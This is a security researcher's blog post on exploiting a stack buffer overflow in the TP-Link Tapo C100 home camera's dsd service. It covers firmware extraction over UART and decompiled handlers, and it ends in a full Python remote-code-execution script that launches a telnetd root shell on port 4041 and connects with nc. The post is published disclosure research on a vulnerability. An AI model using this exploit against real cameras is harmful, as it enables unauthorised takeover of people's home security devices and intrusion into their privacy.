Exploiting n-day in Home Security Camera

 Date: January 5, 2024

Note: This blogpost was written in November 2023, but I was waiting for the TP Link Security Team to release a fix so now it’s published(Jan 2024).

Hello world! and happy new year. It’s been a long time since I last posted here. I decided to take a new challenge, to do something I wanted to do since I was 15 years old(!) enthusiastic kid watching this Black Hat talk: hacking a Security Camera. 10 years later, I think it’s my turn now hehe

In this blogpost, I’ll share my journey of targeting the TP-Link Tapo C100 Home Security Camera. From extracting the firmware to spotting an n-day and writing a full RCE exploit.

Extracting the firmware

To get an initial foothold on the device, I soldered some cables to the UART pins of the device in hopes that I will get a bash shell.

My plan was to try a known technique used in other models of this camera: inserting an SD Card to the camera → copy /dev/mtdblock* files to the card → plug it to my laptop → run binwalk on it.

However, for some reason the camera did not manage to detect the SD Card ;_; so what I did was:

  1. Dumping the whole contents of the /dev/mtdblock* files with xxd(or, hexdump)
  2. Save all the UART output to a txt file
  3. Decode it back from hexdump to raw bytes

Yes, I dumped the whole firmware via UART, and it was so slow :) But desperate times call for desperate measures.

Intro to the “dsd” binary

The dsd binary, located at /usr/bin/dsd is one of the main components of the REST API the camera is exposing to the client. Basically, the uhttpd binary is using a local unix socket to send the user input to the dsd binary, perform the necessary action(change the camera settings, etc.) and return a response.

Spotting the bug

The bug exists in the check_user_info request handler.

The request:

{"user_management":{"check_user_info":{"username":"aaaa","password":"bbbb","encrypt_type":"2"}}, "method":"do"}

The handler:

undefined4 FUN_004288a4(int param_1,int param_2)
{
  int iVar1;
  char *__s;
  char *__s1;
  int iVar2;
  char *pcVar3;
  size_t sVar4;
  size_t sVar5;
  undefined4 uVar6;
  char acStack_80 [64];
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  int local_30;
  
  memset(acStack_80,0,0x40);
  local_40 = 0;
  local_3c = 0;
  local_38 = 0;
  local_34 = 0;
  if ((((param_1 == 0) || (param_2 == 0)) || (iVar1 = jso_is_obj(param_2), iVar1 == 0)) ||
     ((iVar1 = jso_obj_get_string_origin(param_2,"username"), iVar1 == 0 ||
      (__s = (char *)jso_obj_get_string_origin(param_2,"password"), __s == (char *)0x0)))) {
    uVar6 = 0xffff146f;
  }
  else {
    __s1 = (char *)jso_obj_get_string_origin(param_2,"encrypt_type");
    if (__s1 == (char *)0x0) {
      __s1 = "1";
    }
    printf("\t [dsd] %s(%d): ","check_user_info",0x59b);
    printf("encrypt_type:%s.",__s1);
    putchar(10);
    iVar2 = strcmp(__s1,"2");
    if (iVar2 == 0) {
      pcVar3 = (char *)FUN_0040e304(); // [1]
      sVar4 = strlen(__s);
      sVar5 = strlen(pcVar3);
      pcVar3 = (char *)private_decrypt(__s,sVar4,pcVar3,sVar5); // [2]
      printf("\t [dsd] %s(%d): ","check_user_info",0x5a1);
      printf("plaintext:%s.",pcVar3);
      putchar(10);
      if (pcVar3 != (char *)0x0) {
        local_30 = sscanf(pcVar3,"%[^:]:%[^:]",acStack_80,&local_40); // [3]
        printf("\t [dsd] %s(%d): ","check_user_info",0x5a5);
        printf("hashPswd(%s)  rsa_nonce(%s).",acStack_80,&local_40);
        putchar(10);
        if (local_30 == 2) {
          __s = acStack_80;
        }
        free(pcVar3);
      }
    }
    iVar2 = FUN_0040d1a0(param_1);
    if (iVar2 == 0) {
      iVar1 = FUN_0040d510(param_1,iVar1,__s);
      if (iVar1 == 0) {
        uVar6 = 0xffff622f;
      }
      else {
        iVar1 = strcmp(__s1,"2");
        uVar6 = 0;
        if ((iVar1 == 0) && (iVar1 = FUN_0040e15c(&local_40), iVar1 < 0)) {
          uVar6 = 0xffff6227;
        }
      }
    }
    else {
      uVar6 = 0xffff6229;
    }
  }
  return uVar6;
}

At [1], the RSA key is fetched and stored in pcVar3. Later, the user input is being decrypted at [2].

After decrypting the user input, the function uses sscanf to split the plaintext into two variables seperated with a : character(i.e: AAAA:BBBB).

The bug lays in the fact that private_decrypt(in libdecrypter.so) can decrypt up to 0x80 bytes:

void * private_decrypt(int param_1,int param_2,undefined4 param_3)
{
  int iVar1;
  BIO *bp;
  RSA *rsa;
  size_t __n;
  undefined4 uVar2;
  void *__dest;
  undefined auStack_918 [2048];
  uchar auStack_118 [128];
  uchar auStack_98 [120];
  int local_20 [3];
  /* ... more code ... */
  rsa = PEM_read_bio_RSAPrivateKey(bp,(RSA **)0x0,(undefined1 *)0x0,(void *)0x0);
  if (rsa == (RSA *)0x0) {
  /* ... more code ... */
  }
  local_20[0] = 0x80;
  /* ... more code ... */
  else {
    __n = RSA_private_decrypt(local_20[0],auStack_118,auStack_98,rsa,1);
    if ((int)__n < 0) {
      uVar2 = 0x1abc;
      goto LAB_00011588;
    }
  /* ... more code ... */
  __dest = calloc(0x75,1);
    if (__dest == (void *)0x0) {
      msglog(6,0x1a40,0x1b6c);
    }
    else {
      memcpy(__dest,auStack_98,__n);
      *(undefined *)((int)__dest + __n) = 0;
    }
  }
  RSA_free(rsa);
LAB_0001160c:
  BIO_free_all(bp);
  return __dest;
}

This can trigger a buffer overflow since the buffer size in libdecrypter.so can hold up to 128 bytes, but the stack buffer in the dsd binary can hold much less than that(we only need 60 bytes from the beginning of the buffer to reach the return address)

After doing some more googling of strings/constants I saw in the binary, I discovered that this bug was found in another model back in 2020: TL-IPC43AN-4(discovered by CataLpa) and was not fixed in my camera model(C100). His camera was a bit different: he had Web UI(we have access only Mobile App/API) and his camera was running ARM binaries(ours is MIPS) but it looks like these cameras were sharing the same dsd component/daemon. Moreover, I couldn’t find any other documentation of this bug(or exploit) so I guessed it might be one of those useless crashes that are not exploitable.

I decided to give it a shot anyway, with hope that maybe I’ll be the one who’ll write a full exploit for it.

So without further ado, let’s trigger the bug and examine the crash.

Triggering the bug

To trigger the bug, the following sequence of POST requests needs to sent to /stok=<YOUR_SID>/ds:

Request 1: Get the encryption key:

{
	"user_management":{
		"get_encrypt_info": {}
	},
	"method":"do"
}

Request #2: Encrypt the following payload with the key from the previous step:

QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Ciphertext:

pcV7TYekRREp49SYKlCbx2NU1+3A+y8y4a2VL4hPCvqZXATsU7DicFsauJWLEw/OB0uGe2ZcHrCzXTqhk0JoDXY6Rfv/IbWeOtqOMQkDh4e0VWCk0rEAo63KuaSdnRAneWOR5j1c0ig54gFoBblJ4kHz4a4OphX6kUJce0aDQRk=

Request #3: Send the encrypted result in the following manner:

{
	"user_management":{
		"check_user_info":{
			"username":"HelloWorld",
			"password":"ENCRYPTED_PAYLOAD_GOES_HERE",
			"encrypt_type":"2"
			}
		},
	"method":"do"
}

Result:

Continuing.
         [dsd] check_user_info(1293): encrypt_type:2.
         [dsd] check_user_info(1299): plaintext:QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC.
         [dsd] check_user_info(1303): hashPswd(QQQ)  rsa_nonce(AAAAAAAAAAAAAAAA).

Thread 2 "dsd" received signal SIGBUS, Bus error.
[Switching to LWP 825]
0x42424242 in ?? ()

Nice :D

Exploiting the bug

Triggering a bug is one thing, exploiting it…well, that’s a whole engineering adventure.

Considering that fact that I have no experience with MIPS I found this very intimidating, but I’m always ready for a new challenge.

Exploiting this overflow can be trickey, because even though we can corrupt memory - we can’t enter a nullbyte(the %[^:] format specifier in the call to scanf() will stop after a nullbyte). So we can’t enter more than one address in order to craft a ROP/JOP chain on the stack. It requires us to find the perfect gadget: a gadget that will magically jump to system AND place an arbitrary string into the first argument.

After doing some more analysis, I found out that this primitive is ridiculously powerful and does not require any ROP/JOP chain. Because not only we control the ra register(which allows us to take control over the program’s execution) - THE VALUE OF THE a0 REGISTER POINTS TO A STRING FROM OUR HTTP REQUEST lol(the username field). So in other words: we don’t need to find the perfect gadget, it’s already there in our crash.

0x42424242 in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 10001c00 ffff622f 00000000 004ab739 00432685 00000000 7796bdb0
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00000000 31454630 32463132 39464233 46344443 46334442 00450000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  0044c930 779bb600 00000001 00000000 77bfd4c0 7796bef0 41414141 42424242
        status       lo       hi badvaddr    cause       pc
      00001c13 0d713e0e 00000008 42424242 40808010 42424242
          fcsr      fir  restart
      001c0004 00b70000 00000000
(gdb) x/s $a0
0x4ab739:       "elloWorld"

To exploit this bug all you need to do is craft the following request:

{
	"user_management":{
		"check_user_info":{
			"username":"//bin/echo 1337-1337-1337","
			password":"encrypted large buffer that will overflow",
			"encrypt_type":"2"
		}
	},
	"method":"do"
}

We don’t need another vulnerability to break ASLR because the binary was compiled without PIE, so all we need is jump straight to system@plt.

The full exploit is below, tested on firmware version 1.3.7:

#!/usr/bin/env python3
import requests
import urllib
from Crypto import Random
from Crypto.Hash import SHA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
from Crypto.PublicKey import RSA
import base64
import pwn
import os
import ssl
from requests.adapters import HTTPAdapter
import urllib3
from urllib3.util import ssl_
from urllib3.poolmanager import PoolManager

# ==== [ignore this part, setup related class] ====
CIPHERS = "AES256-SHA"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class TlsAdapter(HTTPAdapter):
    def __init__(self, ssl_options=0, **kwargs):
        self.ssl_options = ssl_options
        super(TlsAdapter, self).__init__(**kwargs)

    def init_poolmanager(self, connections, maxsize, **pool_kwargs):
        ctx = ssl_.create_urllib3_context(
            ciphers=CIPHERS, cert_reqs=ssl.CERT_OPTIONAL, options=self.ssl_options
        )
        self.poolmanager = PoolManager(
            num_pools=connections, maxsize=maxsize, ssl_context=ctx, **pool_kwargs
        )
# ==== [/ignore this part, setup related class] ====


# ====================================
# EXPLOIT STARTS HERE
# ====================================
# Tested on Tapo C100 firmware version 1.3.7
IP = '10.0.0.57' # device IP goes here  
HASHED_PWD = ''  # hashed password goes here
SYSTEM_PLT = 0x43c930 # address of system()

def send_req(ip, req_body, route='/'):
    sess = requests.session()
    sess.mount('https://', TlsAdapter())
    resp = sess.post(f'https://{ip}{route}', headers={'User-Agent': 'Tapo CameraClient Android'} ,json=req_body, verify=False, timeout=2)
    sess.close()
    return resp
    

def get_stok(ip, password):
    req_body = {"method":"login","params":{"hashed":True,"password":password,"username":"admin"}}
    resp = send_req(ip, req_body)
    if resp.status_code == 200:
        resp = resp.json()
        return resp['result']['stok']
    else:
        raise Exception('cannot get stok!')


def rsa_encrypt(key, p):
    rsakey = RSA.importKey(key)
    cipher = Cipher_pkcs1_v1_5.new(rsakey)
    cipher_text = base64.b64encode(cipher.encrypt(p))
    return cipher_text

def get_public_key(ip, stok):
    req_body = {"user_management":{"get_encrypt_info":{}},"method":"do"}
    resp = send_req(ip, req_body, route=f'/stok={stok}/ds')
    if resp.status_code == 200:
        resp = resp.json()
        return resp['key']
    else:
        raise Exception('Login failed!')

    
def exploit(target_host, stok):
    print('[*] Preparing payload...')
    public_key = "-----BEGIN PUBLIC KEY-----\n" + get_public_key(target_host, stok) + "\n-----END PUBLIC KEY-----"
    payload =  b"BBB:" + b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
    payload = payload.replace(b'paaa', pwn.p32(SYSTEM_PLT))
    password = rsa_encrypt(public_key, payload)
    cmd = '//usr/sbin/telnetd -l /bin/sh -p 4041 & '
    req_body = {"user_management":{"check_user_info":{"username":cmd,"password":password.decode(),"encrypt_type":"2"}},"method":"do"}
    try:
        print('[*] popping a shell :^)')
        resp = send_req(target_host, req_body, route=f'/stok={stok}/ds')
    except Exception as e:
        print('[*] bof triggered successfully')
        pass

    print('[*] Connecting to the target device')
    os.system(f'nc {target_host} 4041')


# main 
print(f'[*] Attacking {IP}')
stok_val = get_stok(IP, HASHED_PWD)
exploit(IP, stok_val)

https://twitter.com/0x_shaq/status/1723384686569836640

Thanks for reading, I hope you enjoyed :^)

 Tags:  iot embedded security camera pwn nday tp-link tapo c100

Previous
⏪ BsidesTLV 2023 - 'Zen(d) Master' writeup (pwn)

Next
GenesisOS: Publishing my micro-kernel! ⏩